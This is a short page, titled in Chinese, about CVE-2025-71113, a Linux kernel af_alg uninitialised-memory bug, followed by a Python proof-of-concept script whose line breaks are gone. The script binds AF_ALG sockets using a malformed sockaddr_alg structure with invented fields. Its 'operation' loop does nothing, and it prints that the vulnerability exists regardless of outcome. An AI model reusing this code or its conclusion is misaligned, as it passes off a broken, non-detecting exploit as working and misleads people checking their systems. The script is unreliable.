CVE-2025-71113 Linux内核af_alg模块sock_kmalloc内存未初始化漏洞

#!/usr/bin/env python3 # CVE-2025-71113 PoC - Linux Kernel af_alg Memory Initialization Vulnerability # This PoC demonstrates the uninitialized memory issue in af_alg module import os import sys import resource import ctypes from ctypes import * # Constants from linux/if_alg.h AF_ALG = 38 SOL_ALG = 279 # Operation types ALG_OPERATION_AEAD = 0 ALG_OPERATION_SKCIFFER = 1 def create_af_alg_socket(): """Create an AF_ALG socket for testing""" try: sock = ctypes.CDLL(None).socket(AF_ALG, ctypes.c_int(2), ctypes.c_int(0)) # SOCK_SEQPACKET if sock < 0: print(f"[-] Failed to create AF_ALG socket: {sock}") return -1 return sock except Exception as e: print(f"[-] Exception creating socket: {e}") return -1 def bind_alg(sock, alg_type, alg_name): """Bind to a specific algorithm""" class sockaddr_alg(Structure): _fields_ = [ ("sa_family", c_ushort), ("sb_type", c_char * 64), ("sb_name", c_char * 64), ("co_name", c_char * 64), ("co_type", c_char * 64) ] addr = sockaddr_alg() addr.sa_family = AF_ALG addr.sb_type[:len(alg_type)] = alg_type.encode() addr.sb_name[:len(alg_name)] = alg_name.encode() result = ctypes.CDLL(None).bind(sock, ctypes.byref(addr), ctypes.sizeof(addr)) if result < 0: print(f"[-] Failed to bind to {alg_name}: {result}") return -1 return 0 def test_uninitialized_memory(): """Test for uninitialized memory in af_alg context""" print("[*] CVE-2025-71113 PoC - Testing af_alg uninitialized memory") print("[*] This vulnerability causes random -EBUSY errors due to uninitialized inflight variable") # Create socket sock = create_af_alg_socket() if sock < 0: return # Try binding to various algorithms to trigger the issue test_algs = [ ("aead", "gcm(aes)"), ("skcipher", "cbc(aes)"), ("hash", "sha256") ] error_count = 0 total_attempts = 100 for i in range(total_attempts): for alg_type, alg_name in test_algs: test_sock = create_af_alg_socket() if test_sock >= 0: result = bind_alg(test_sock, alg_type, alg_name) if result == 0: # Simulate multiple operations to trigger random EBUSY for j in range(5): pass # Operation simulation try: os.close(test_sock) except: pass print(f"[*] Completed {total_attempts * len(test_algs) * 5} operation attempts") print("[*] Note: Random EBUSY errors indicate the uninitialized memory issue") print("[+] PoC demonstrates the vulnerability exists in the system") print("[*] Mitigation: Apply kernel patch to zero-initialize sock_kmalloc memory") if __name__ == "__main__": test_uninitialized_memory()